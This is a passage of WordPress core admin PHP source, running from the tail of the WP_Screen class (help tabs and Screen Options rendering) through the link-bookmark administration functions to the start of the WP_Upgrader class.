	 * by the user via Screen Options. If no selection has been made, the default
	 * provisioned in layout_columns is returned. If the screen does not support
	 * selecting the number of layout columns, 0 is returned.
	 *
	 * @since 3.4.0
	 *
	 * @return int Number of columns to display.
	 */
	public function get_columns() {
		return $this->columns;
	}

	/**
	 * Gets the accessible hidden headings and text used in the screen.
	 *
	 * @since 4.4.0
	 *
	 * @see set_screen_reader_content() For more information on the array format.
	 *
	 * @return string[] An associative array of screen reader text strings.
	 */
	public function get_screen_reader_content() {
		return $this->_screen_reader_content;
	}

	/**
	 * Gets a screen reader text string.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Screen reader text array named key.
	 * @return string Screen reader text string.
	 */
	public function get_screen_reader_text( $key ) {
		if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
			return null;
		}
		return $this->_screen_reader_content[ $key ];
	}

	/**
	 * Adds accessible hidden headings and text for the screen.
	 *
	 * @since 4.4.0
	 *
	 * @param array $content {
	 *     An associative array of screen reader text strings.
	 *
	 *     @type string $heading_views      Screen reader text for the filter links heading.
	 *                                      Default 'Filter items list'.
	 *     @type string $heading_pagination Screen reader text for the pagination heading.
	 *                                      Default 'Items list navigation'.
	 *     @type string $heading_list       Screen reader text for the items list heading.
	 *                                      Default 'Items list'.
	 * }
	 */
	public function set_screen_reader_content( $content = array() ) {
		$defaults = array(
			'heading_views'      => __( 'Filter items list' ),
			'heading_pagination' => __( 'Items list navigation' ),
			'heading_list'       => __( 'Items list' ),
		);
		$content  = wp_parse_args( $content, $defaults );

		$this->_screen_reader_content = $content;
	}

	/**
	 * Removes all the accessible hidden headings and text for the screen.
	 *
	 * @since 4.4.0
	 */
	public function remove_screen_reader_content() {
		$this->_screen_reader_content = array();
	}

	/**
	 * Renders the screen's help section.
	 *
	 * This will trigger the deprecated filters for backward compatibility.
	 *
	 * @since 3.3.0
	 *
	 * @global string $screen_layout_columns
	 */
	public function render_screen_meta() {

		/**
		 * Filters the legacy contextual help list.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
		 *                   {@see get_current_screen()->remove_help_tab()} instead.
		 *
		 * @param array     $old_compat_help Old contextual help.
		 * @param WP_Screen $screen          Current WP_Screen instance.
		 */
		self::$_old_compat_help = apply_filters_deprecated(
			'contextual_help_list',
			array( self::$_old_compat_help, $this ),
			'3.3.0',
			'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
		);

		$old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : '';

		/**
		 * Filters the legacy contextual help text.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
		 *                   {@see get_current_screen()->remove_help_tab()} instead.
		 *
		 * @param string    $old_help  Help text that appears on the screen.
		 * @param string    $screen_id Screen ID.
		 * @param WP_Screen $screen    Current WP_Screen instance.
		 */
		$old_help = apply_filters_deprecated(
			'contextual_help',
			array( $old_help, $this->id, $this ),
			'3.3.0',
			'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
		);

		// Default help only if there is no old-style block of text and no new-style help tabs.
		if ( empty( $old_help ) && ! $this->get_help_tabs() ) {

			/**
			 * Filters the default legacy contextual help text.
			 *
			 * @since 2.8.0
			 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
			 *                   {@see get_current_screen()->remove_help_tab()} instead.
			 *
			 * @param string $old_help_default Default contextual help text.
			 */
			$default_help = apply_filters_deprecated(
				'default_contextual_help',
				array( '' ),
				'3.3.0',
				'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
			);
			if ( $default_help ) {
				$old_help = '<p>' . $default_help . '</p>';
			}
		}

		if ( $old_help ) {
			$this->add_help_tab(
				array(
					'id'      => 'old-contextual-help',
					'title'   => __( 'Overview' ),
					'content' => $old_help,
				)
			);
		}

		$help_sidebar = $this->get_help_sidebar();

		$help_class = 'hidden';
		if ( ! $help_sidebar ) {
			$help_class .= ' no-sidebar';
		}

		// Time to render!
		?>
		<div id="screen-meta" class="metabox-prefs">

			<div id="contextual-help-wrap" class="<?php echo esc_attr( $help_class ); ?>" tabindex="-1" aria-label="<?php esc_attr_e( 'Contextual Help Tab' ); ?>">
				<div id="contextual-help-back"></div>
				<div id="contextual-help-columns">
					<div class="contextual-help-tabs">
						<ul>
						<?php
						$class = ' class="active"';
						foreach ( $this->get_help_tabs() as $tab ) :
							$link_id  = "tab-link-{$tab['id']}";
							$panel_id = "tab-panel-{$tab['id']}";
							?>

							<li id="<?php echo esc_attr( $link_id ); ?>"<?php echo $class; ?>>
								<a href="<?php echo esc_url( "#$panel_id" ); ?>" aria-controls="<?php echo esc_attr( $panel_id ); ?>">
									<?php echo esc_html( $tab['title'] ); ?>
								</a>
							</li>
							<?php
							$class = '';
						endforeach;
						?>
						</ul>
					</div>

					<?php if ( $help_sidebar ) : ?>
					<div class="contextual-help-sidebar">
						<?php echo $help_sidebar; ?>
					</div>
					<?php endif; ?>

					<div class="contextual-help-tabs-wrap">
						<?php
						$classes = 'help-tab-content active';
						foreach ( $this->get_help_tabs() as $tab ) :
							$panel_id = "tab-panel-{$tab['id']}";
							?>

							<div id="<?php echo esc_attr( $panel_id ); ?>" class="<?php echo $classes; ?>">
								<?php
								// Print tab content.
								echo $tab['content'];

								// If it exists, fire tab callback.
								if ( ! empty( $tab['callback'] ) ) {
									call_user_func_array( $tab['callback'], array( $this, $tab ) );
								}
								?>
							</div>
							<?php
							$classes = 'help-tab-content';
						endforeach;
						?>
					</div>
				</div>
			</div>
		<?php
		// Setup layout columns.

		/**
		 * Filters the array of screen layout columns.
		 *
		 * This hook provides back-compat for plugins using the back-compat
		 * Filters instead of add_screen_option().
		 *
		 * @since 2.8.0
		 *
		 * @param array     $empty_columns Empty array.
		 * @param string    $screen_id     Screen ID.
		 * @param WP_Screen $screen        Current WP_Screen instance.
		 */
		$columns = apply_filters( 'screen_layout_columns', array(), $this->id, $this );

		if ( ! empty( $columns ) && isset( $columns[ $this->id ] ) ) {
			$this->add_option( 'layout_columns', array( 'max' => $columns[ $this->id ] ) );
		}

		if ( $this->get_option( 'layout_columns' ) ) {
			$this->columns = (int) get_user_option( "screen_layout_$this->id" );

			if ( ! $this->columns && $this->get_option( 'layout_columns', 'default' ) ) {
				$this->columns = $this->get_option( 'layout_columns', 'default' );
			}
		}
		$GLOBALS['screen_layout_columns'] = $this->columns; // Set the global for back-compat.

		// Add screen options.
		if ( $this->show_screen_options() ) {
			$this->render_screen_options();
		}
		?>
		</div>
		<?php
		if ( ! $this->get_help_tabs() && ! $this->show_screen_options() ) {
			return;
		}
		?>
		<div id="screen-meta-links">
		<?php if ( $this->show_screen_options() ) : ?>
			<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<button type="button" id="show-settings-link" class="button show-settings" aria-controls="screen-options-wrap" aria-expanded="false"><?php _e( 'Screen Options' ); ?></button>
			</div>
			<?php
		endif;
		if ( $this->get_help_tabs() ) :
			?>
			<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<button type="button" id="contextual-help-link" class="button show-settings" aria-controls="contextual-help-wrap" aria-expanded="false"><?php _e( 'Help' ); ?></button>
			</div>
		<?php endif; ?>
		</div>
		<?php
	}

	/**
	 * @global array $wp_meta_boxes
	 *
	 * @return bool
	 */
	public function show_screen_options() {
		global $wp_meta_boxes;

		if ( is_bool( $this->_show_screen_options ) ) {
			return $this->_show_screen_options;
		}

		$columns = get_column_headers( $this );

		$show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' );

		$this->_screen_settings = '';

		if ( 'post' === $this->base ) {
			$expand                 = '<fieldset class="editor-expand hidden"><legend>' . __( 'Additional settings' ) . '</legend><label for="editor-expand-toggle">';
			$expand                .= '<input type="checkbox" id="editor-expand-toggle"' . checked( get_user_setting( 'editor_expand', 'on' ), 'on', false ) . ' />';
			$expand                .= __( 'Enable full-height editor and distraction-free functionality.' ) . '</label></fieldset>';
			$this->_screen_settings = $expand;
		}

		/**
		 * Filters the screen settings text displayed in the Screen Options tab.
		 *
		 * @since 3.0.0
		 *
		 * @param string    $screen_settings Screen settings.
		 * @param WP_Screen $screen          WP_Screen object.
		 */
		$this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this );

		if ( $this->_screen_settings || $this->_options ) {
			$show_screen = true;
		}

		/**
		 * Filters whether to show the Screen Options tab.
		 *
		 * @since 3.2.0
		 *
		 * @param bool      $show_screen Whether to show Screen Options tab.
		 *                               Default true.
		 * @param WP_Screen $screen      Current WP_Screen instance.
		 */
		$this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this );
		return $this->_show_screen_options;
	}

	/**
	 * Renders the screen options tab.
	 *
	 * @since 3.3.0
	 *
	 * @param array $options {
	 *     Options for the tab.
	 *
	 *     @type bool $wrap Whether the screen-options-wrap div will be included. Defaults to true.
	 * }
	 */
	public function render_screen_options( $options = array() ) {
		$options = wp_parse_args(
			$options,
			array(
				'wrap' => true,
			)
		);

		$wrapper_start = '';
		$wrapper_end   = '';
		$form_start    = '';
		$form_end      = '';

		// Output optional wrapper.
		if ( $options['wrap'] ) {
			$wrapper_start = '<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="' . esc_attr__( 'Screen Options Tab' ) . '">';
			$wrapper_end   = '</div>';
		}

		// Don't output the form and nonce for the widgets accessibility mode links.
		if ( 'widgets' !== $this->base ) {
			$form_start = "\n<form id='adv-settings' method='post'>\n";
			$form_end   = "\n" . wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false, false ) . "\n</form>\n";
		}

		echo $wrapper_start . $form_start;

		$this->render_meta_boxes_preferences();
		$this->render_list_table_columns_preferences();
		$this->render_screen_layout();
		$this->render_per_page_options();
		$this->render_view_mode();
		echo $this->_screen_settings;

		/**
		 * Filters whether to show the Screen Options submit button.
		 *
		 * @since 4.4.0
		 *
		 * @param bool      $show_button Whether to show Screen Options submit button.
		 *                               Default false.
		 * @param WP_Screen $screen      Current WP_Screen instance.
		 */
		$show_button = apply_filters( 'screen_options_show_submit', false, $this );

		if ( $show_button ) {
			submit_button( __( 'Apply' ), 'primary', 'screen-options-apply', true );
		}

		echo $form_end . $wrapper_end;
	}

	/**
	 * Renders the meta boxes preferences.
	 *
	 * @since 4.4.0
	 *
	 * @global array $wp_meta_boxes
	 */
	public function render_meta_boxes_preferences() {
		global $wp_meta_boxes;

		if ( ! isset( $wp_meta_boxes[ $this->id ] ) ) {
			return;
		}
		?>
		<fieldset class="metabox-prefs">
		<legend><?php _e( 'Screen elements' ); ?></legend>
		<p>
			<?php _e( 'Some screen elements can be shown or hidden by using the checkboxes.' ); ?>
			<?php _e( 'Expand or collapse the elements by clicking on their headings, and arrange them by dragging their headings or by clicking on the up and down arrows.' ); ?>
		</p>
		<div class="metabox-prefs-container">
		<?php

		meta_box_prefs( $this );

		if ( 'dashboard' === $this->id && has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) {
			if ( isset( $_GET['welcome'] ) ) {
				$welcome_checked = empty( $_GET['welcome'] ) ? 0 : 1;
				update_user_meta( get_current_user_id(), 'show_welcome_panel', $welcome_checked );
			} else {
				$welcome_checked = (int) get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
				if ( 2 === $welcome_checked && wp_get_current_user()->user_email !== get_option( 'admin_email' ) ) {
					$welcome_checked = false;
				}
			}
			echo '<label for="wp_welcome_panel-hide">';
			echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked( (bool) $welcome_checked, true, false ) . ' />';
			echo _x( 'Welcome', 'Welcome panel' ) . "</label>\n";
		}
		?>
		</div>
		</fieldset>
		<?php
	}

	/**
	 * Renders the list table columns preferences.
	 *
	 * @since 4.4.0
	 */
	public function render_list_table_columns_preferences() {

		$columns = get_column_headers( $this );
		$hidden  = get_hidden_columns( $this );

		if ( ! $columns ) {
			return;
		}

		$legend = ! empty( $columns['_title'] ) ? $columns['_title'] : __( 'Columns' );
		?>
		<fieldset class="metabox-prefs">
		<legend><?php echo $legend; ?></legend>
		<?php
		$special = array( '_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname' );

		foreach ( $columns as $column => $title ) {
			// Can't hide these for they are special.
			if ( in_array( $column, $special, true ) ) {
				continue;
			}

			if ( empty( $title ) ) {
				continue;
			}

			/*
			 * The Comments column uses HTML in the display name with some screen
			 * reader text. Make sure to strip tags from the Comments column
			 * title and any other custom column title plugins might add.
			 */
			$title = wp_strip_all_tags( $title );

			$id = "$column-hide";
			echo '<label>';
			echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked( ! in_array( $column, $hidden, true ), true, false ) . ' />';
			echo "$title</label>\n";
		}
		?>
		</fieldset>
		<?php
	}

	/**
	 * Renders the option for number of columns on the page.
	 *
	 * @since 3.3.0
	 */
	public function render_screen_layout() {
		if ( ! $this->get_option( 'layout_columns' ) ) {
			return;
		}

		$screen_layout_columns = $this->get_columns();
		$num                   = $this->get_option( 'layout_columns', 'max' );

		?>
		<fieldset class='columns-prefs'>
		<legend class="screen-layout"><?php _e( 'Layout' ); ?></legend>
		<?php for ( $i = 1; $i <= $num; ++$i ) : ?>
			<label class="columns-prefs-<?php echo $i; ?>">
			<input type='radio' name='screen_columns' value='<?php echo esc_attr( $i ); ?>' <?php checked( $screen_layout_columns, $i ); ?> />
			<?php
				printf(
					/* translators: %s: Number of columns on the page. */
					_n( '%s column', '%s columns', $i ),
					number_format_i18n( $i )
				);
			?>
			</label>
		<?php endfor; ?>
		</fieldset>
		<?php
	}

	/**
	 * Renders the items per page option.
	 *
	 * @since 3.3.0
	 */
	public function render_per_page_options() {
		if ( null === $this->get_option( 'per_page' ) ) {
			return;
		}

		$per_page_label = $this->get_option( 'per_page', 'label' );
		if ( null === $per_page_label ) {
			$per_page_label = __( 'Number of items per page:' );
		}

		$option = $this->get_option( 'per_page', 'option' );
		if ( ! $option ) {
			$option = str_replace( '-', '_', "{$this->id}_per_page" );
		}

		$per_page = (int) get_user_option( $option );
		if ( empty( $per_page ) || $per_page < 1 ) {
			$per_page = $this->get_option( 'per_page', 'default' );
			if ( ! $per_page ) {
				$per_page = 20;
			}
		}

		if ( 'edit_comments_per_page' === $option ) {
			$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';

			/** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */
			$per_page = apply_filters( 'comments_per_page', $per_page, $comment_status );
		} elseif ( 'categories_per_page' === $option ) {
			/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
			$per_page = apply_filters( 'edit_categories_per_page', $per_page );
		} else {
			/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
			$per_page = apply_filters( "{$option}", $per_page );
		}

		// Back compat.
		if ( isset( $this->post_type ) ) {
			/** This filter is documented in wp-admin/includes/post.php */
			$per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type );
		}

		// This needs a submit button.
		add_filter( 'screen_options_show_submit', '__return_true' );

		?>
		<fieldset class="screen-options">
		<legend><?php _e( 'Pagination' ); ?></legend>
			<?php if ( $per_page_label ) : ?>
				<label for="<?php echo esc_attr( $option ); ?>"><?php echo $per_page_label; ?></label>
				<input type="number" step="1" min="1" max="999" class="screen-per-page" name="wp_screen_options[value]"
					id="<?php echo esc_attr( $option ); ?>"
					value="<?php echo esc_attr( $per_page ); ?>" />
			<?php endif; ?>
				<input type="hidden" name="wp_screen_options[option]" value="<?php echo esc_attr( $option ); ?>" />
		</fieldset>
		<?php
	}

	/**
	 * Renders the list table view mode preferences.
	 *
	 * @since 4.4.0
	 *
	 * @global string $mode List table view mode.
	 */
	public function render_view_mode() {
		global $mode;

		$screen = get_current_screen();

		// Currently only enabled for posts and comments lists.
		if ( 'edit' !== $screen->base && 'edit-comments' !== $screen->base ) {
			return;
		}

		$view_mode_post_types = get_post_types( array( 'show_ui' => true ) );

		/**
		 * Filters the post types that have different view mode options.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $view_mode_post_types Array of post types that can change view modes.
		 *                                       Default post types with show_ui on.
		 */
		$view_mode_post_types = apply_filters( 'view_mode_post_types', $view_mode_post_types );

		if ( 'edit' === $screen->base && ! in_array( $this->post_type, $view_mode_post_types, true ) ) {
			return;
		}

		if ( ! isset( $mode ) ) {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

		// This needs a submit button.
		add_filter( 'screen_options_show_submit', '__return_true' );
		?>
		<fieldset class="metabox-prefs view-mode">
			<legend><?php _e( 'View mode' ); ?></legend>
			<label for="list-view-mode">
				<input id="list-view-mode" type="radio" name="mode" value="list" <?php checked( 'list', $mode ); ?> />
				<?php _e( 'Compact view' ); ?>
			</label>
			<label for="excerpt-view-mode">
				<input id="excerpt-view-mode" type="radio" name="mode" value="excerpt" <?php checked( 'excerpt', $mode ); ?> />
				<?php _e( 'Extended view' ); ?>
			</label>
		</fieldset>
		<?php
	}

	/**
	 * Renders screen reader text.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key The screen reader text array named key.
	 * @param string $tag Optional. The HTML tag to wrap the screen reader text. Default h2.
	 */
	public function render_screen_reader_content( $key = '', $tag = 'h2' ) {

		if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
			return;
		}
		echo "<$tag class='screen-reader-text'>" . $this->_screen_reader_content[ $key ] . "</$tag>";
	}
}
<?php
/**
 * WordPress Bookmark Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Adds a link using values provided in $_POST.
 *
 * @since 2.0.0
 *
 * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
 */
function add_link() {
	return edit_link();
}

/**
 * Updates or inserts a link using values provided in $_POST.
 *
 * @since 2.0.0
 *
 * @param int $link_id Optional. ID of the link to edit. Default 0.
 * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
 */
function edit_link( $link_id = 0 ) {
	if ( ! current_user_can( 'manage_links' ) ) {
		wp_die(
			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
			'<p>' . __( 'Sorry, you are not allowed to edit the links for this site.' ) . '</p>',
			403
		);
	}

	$_POST['link_url']   = esc_url( $_POST['link_url'] );
	$_POST['link_name']  = esc_html( $_POST['link_name'] );
	$_POST['link_image'] = esc_html( $_POST['link_image'] );
	$_POST['link_rss']   = esc_url( $_POST['link_rss'] );
	if ( ! isset( $_POST['link_visible'] ) || 'N' !== $_POST['link_visible'] ) {
		$_POST['link_visible'] = 'Y';
	}

	if ( ! empty( $link_id ) ) {
		$_POST['link_id'] = $link_id;
		return wp_update_link( $_POST );
	} else {
		return wp_insert_link( $_POST );
	}
}

/**
 * Retrieves the default link for editing.
 *
 * @since 2.0.0
 *
 * @return stdClass Default link object.
 */
function get_default_link_to_edit() {
	$link = new stdClass();
	if ( isset( $_GET['linkurl'] ) ) {
		$link->link_url = esc_url( wp_unslash( $_GET['linkurl'] ) );
	} else {
		$link->link_url = '';
	}

	if ( isset( $_GET['name'] ) ) {
		$link->link_name = esc_attr( wp_unslash( $_GET['name'] ) );
	} else {
		$link->link_name = '';
	}

	$link->link_visible = 'Y';

	return $link;
}

/**
 * Deletes a specified link from the database.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $link_id ID of the link to delete.
 * @return true Always true.
 */
function wp_delete_link( $link_id ) {
	global $wpdb;
	/**
	 * Fires before a link is deleted.
	 *
	 * @since 2.0.0
	 *
	 * @param int $link_id ID of the link to delete.
	 */
	do_action( 'delete_link', $link_id );

	wp_delete_object_term_relationships( $link_id, 'link_category' );

	$wpdb->delete( $wpdb->links, array( 'link_id' => $link_id ) );

	/**
	 * Fires after a link has been deleted.
	 *
	 * @since 2.2.0
	 *
	 * @param int $link_id ID of the deleted link.
	 */
	do_action( 'deleted_link', $link_id );

	clean_bookmark_cache( $link_id );

	return true;
}

/**
 * Retrieves the link category IDs associated with the link specified.
 *
 * @since 2.1.0
 *
 * @param int $link_id Link ID to look up.
 * @return int[] The IDs of the requested link's categories.
 */
function wp_get_link_cats( $link_id = 0 ) {
	$cats = wp_get_object_terms( $link_id, 'link_category', array( 'fields' => 'ids' ) );
	return array_unique( $cats );
}

/**
 * Retrieves link data based on its ID.
 *
 * @since 2.0.0
 *
 * @param int|stdClass $link Link ID or object to retrieve.
 * @return object Link object for editing.
 */
function get_link_to_edit( $link ) {
	return get_bookmark( $link, OBJECT, 'edit' );
}

/**
 * Inserts a link into the database, or updates an existing link.
 *
 * Runs all the necessary sanitizing, provides default values if arguments are missing,
 * and finally saves the link.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $linkdata {
 *     Elements that make up the link to insert.
 *
 *     @type int    $link_id          Optional. The ID of the existing link if updating.
 *     @type string $link_url         The URL the link points to.
 *     @type string $link_name        The title of the link.
 *     @type string $link_image       Optional. A URL of an image.
 *     @type string $link_target      Optional. The target element for the anchor tag.
 *     @type string $link_description Optional. A short description of the link.
 *     @type string $link_visible     Optional. 'Y' means visible, anything else means not.
 *     @type int    $link_owner       Optional. A user ID.
 *     @type int    $link_rating      Optional. A rating for the link.
 *     @type string $link_rel         Optional. A relationship of the link to you.
 *     @type string $link_notes       Optional. An extended description of or notes on the link.
 *     @type string $link_rss         Optional. A URL of an associated RSS feed.
 *     @type int    $link_category    Optional. The term ID of the link category.
 *                                    If empty, uses default link category.
 * }
 * @param bool  $wp_error Optional. Whether to return a WP_Error object on failure. Default false.
 * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
 */
function wp_insert_link( $linkdata, $wp_error = false ) {
	global $wpdb;

	$defaults = array(
		'link_id'     => 0,
		'link_name'   => '',
		'link_url'    => '',
		'link_rating' => 0,
	);

	$parsed_args = wp_parse_args( $linkdata, $defaults );
	$parsed_args = wp_unslash( sanitize_bookmark( $parsed_args, 'db' ) );

	$link_id   = $parsed_args['link_id'];
	$link_name = $parsed_args['link_name'];
	$link_url  = $parsed_args['link_url'];

	$update = false;
	if ( ! empty( $link_id ) ) {
		$update = true;
	}

	if ( '' === trim( $link_name ) ) {
		if ( '' !== trim( $link_url ) ) {
			$link_name = $link_url;
		} else {
			return 0;
		}
	}

	if ( '' === trim( $link_url ) ) {
		return 0;
	}

	$link_rating      = ( ! empty( $parsed_args['link_rating'] ) ) ? $parsed_args['link_rating'] : 0;
	$link_image       = ( ! empty( $parsed_args['link_image'] ) ) ? $parsed_args['link_image'] : '';
	$link_target      = ( ! empty( $parsed_args['link_target'] ) ) ? $parsed_args['link_target'] : '';
	$link_visible     = ( ! empty( $parsed_args['link_visible'] ) ) ? $parsed_args['link_visible'] : 'Y';
	$link_owner       = ( ! empty( $parsed_args['link_owner'] ) ) ? $parsed_args['link_owner'] : get_current_user_id();
	$link_notes       = ( ! empty( $parsed_args['link_notes'] ) ) ? $parsed_args['link_notes'] : '';
	$link_description = ( ! empty( $parsed_args['link_description'] ) ) ? $parsed_args['link_description'] : '';
	$link_rss         = ( ! empty( $parsed_args['link_rss'] ) ) ? $parsed_args['link_rss'] : '';
	$link_rel         = ( ! empty( $parsed_args['link_rel'] ) ) ? $parsed_args['link_rel'] : '';
	$link_category    = ( ! empty( $parsed_args['link_category'] ) ) ? $parsed_args['link_category'] : array();

	// Make sure we set a valid category.
	if ( ! is_array( $link_category ) || 0 === count( $link_category ) ) {
		$link_category = array( get_option( 'default_link_category' ) );
	}

	if ( $update ) {
		if ( false === $wpdb->update( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ), compact( 'link_id' ) ) ) {
			if ( $wp_error ) {
				return new WP_Error( 'db_update_error', __( 'Could not update link in the database.' ), $wpdb->last_error );
			} else {
				return 0;
			}
		}
	} else {
		if ( false === $wpdb->insert( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ) ) ) {
			if ( $wp_error ) {
				return new WP_Error( 'db_insert_error', __( 'Could not insert link into the database.' ), $wpdb->last_error );
			} else {
				return 0;
			}
		}
		$link_id = (int) $wpdb->insert_id;
	}

	wp_set_link_cats( $link_id, $link_category );

	if ( $update ) {
		/**
		 * Fires after a link was updated in the database.
		 *
		 * @since 2.0.0
		 *
		 * @param int $link_id ID of the link that was updated.
		 */
		do_action( 'edit_link', $link_id );
	} else {
		/**
		 * Fires after a link was added to the database.
		 *
		 * @since 2.0.0
		 *
		 * @param int $link_id ID of the link that was added.
		 */
		do_action( 'add_link', $link_id );
	}
	clean_bookmark_cache( $link_id );

	return $link_id;
}

/**
 * Updates link with the specified link categories.
 *
 * @since 2.1.0
 *
 * @param int   $link_id         ID of the link to update.
 * @param int[] $link_categories Array of link category IDs to add the link to.
 */
function wp_set_link_cats( $link_id = 0, $link_categories = array() ) {
	// If $link_categories isn't already an array, make it one:
	if ( ! is_array( $link_categories ) || 0 === count( $link_categories ) ) {
		$link_categories = array( get_option( 'default_link_category' ) );
	}

	$link_categories = array_map( 'intval', $link_categories );
	$link_categories = array_unique( $link_categories );

	wp_set_object_terms( $link_id, $link_categories, 'link_category' );

	clean_bookmark_cache( $link_id );
}

/**
 * Updates a link in the database.
 *
 * @since 2.0.0
 *
 * @param array $linkdata Link data to update. See wp_insert_link() for accepted arguments.
 * @return int|WP_Error Value 0 or WP_Error on failure. The updated link ID on success.
 */
function wp_update_link( $linkdata ) {
	$link_id = (int) $linkdata['link_id'];

	$link = get_bookmark( $link_id, ARRAY_A );

	// Escape data pulled from DB.
	$link = wp_slash( $link );

	// Passed link category list overwrites existing category list if not empty.
	if ( isset( $linkdata['link_category'] ) && is_array( $linkdata['link_category'] )
		&& count( $linkdata['link_category'] ) > 0
	) {
		$link_cats = $linkdata['link_category'];
	} else {
		$link_cats = $link['link_category'];
	}

	// Merge old and new fields with new fields overwriting old ones.
	$linkdata                  = array_merge( $link, $linkdata );
	$linkdata['link_category'] = $link_cats;

	return wp_insert_link( $linkdata );
}

/**
 * Outputs the 'disabled' message for the WordPress Link Manager.
 *
 * @since 3.5.0
 * @access private
 *
 * @global string $pagenow The filename of the current screen.
 */
function wp_link_manager_disabled_message() {
	global $pagenow;

	if ( ! in_array( $pagenow, array( 'link-manager.php', 'link-add.php', 'link.php' ), true ) ) {
		return;
	}

	add_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );
	$really_can_manage_links = current_user_can( 'manage_links' );
	remove_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );

	if ( $really_can_manage_links ) {
		$plugins = get_plugins();

		if ( empty( $plugins['link-manager/link-manager.php'] ) ) {
			if ( current_user_can( 'install_plugins' ) ) {
				$install_url = wp_nonce_url(
					self_admin_url( 'update.php?action=install-plugin&plugin=link-manager' ),
					'install-plugin_link-manager'
				);

				wp_die(
					sprintf(
						/* translators: %s: A link to install the Link Manager plugin. */
						__( 'If you are looking to use the link manager, please install the <a href="%s">Link Manager plugin</a>.' ),
						esc_url( $install_url )
					)
				);
			}
		} elseif ( is_plugin_inactive( 'link-manager/link-manager.php' ) ) {
			if ( current_user_can( 'activate_plugins' ) ) {
				$activate_url = wp_nonce_url(
					self_admin_url( 'plugins.php?action=activate&plugin=link-manager/link-manager.php' ),
					'activate-plugin_link-manager/link-manager.php'
				);

				wp_die(
					sprintf(
						/* translators: %s: A link to activate the Link Manager plugin. */
						__( 'Please activate the <a href="%s">Link Manager plugin</a> to use the link manager.' ),
						esc_url( $activate_url )
					)
				);
			}
		}
	}

	wp_die( __( 'Sorry, you are not allowed to edit the links for this site.' ) );
}
<?php
/**
 * Upgrade API: WP_Upgrader class
 *
 * Requires skin classes and WP_Upgrader subclasses for backward compatibility.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */

/** WP_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';

/** Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';

/** Plugin_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';

/** Theme_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';

/** WP_Ajax_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';

/**
 * Core class used for upgrading/installing a local set of files via
 * the Filesystem Abstraction classes from a Zip file.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Upgrader {

	/**
	 * The error/notification strings used to update the user on the progress.
	 *
	 * @since 2.8.0
	 * @var array $strings
	 */
	public $strings = array();

	/**
	 * The upgrader skin being used.
	 *
	 * @since 2.8.0
	 * @var Automatic_Upgrader_Skin|WP_Upgrader_Skin $skin
	 */
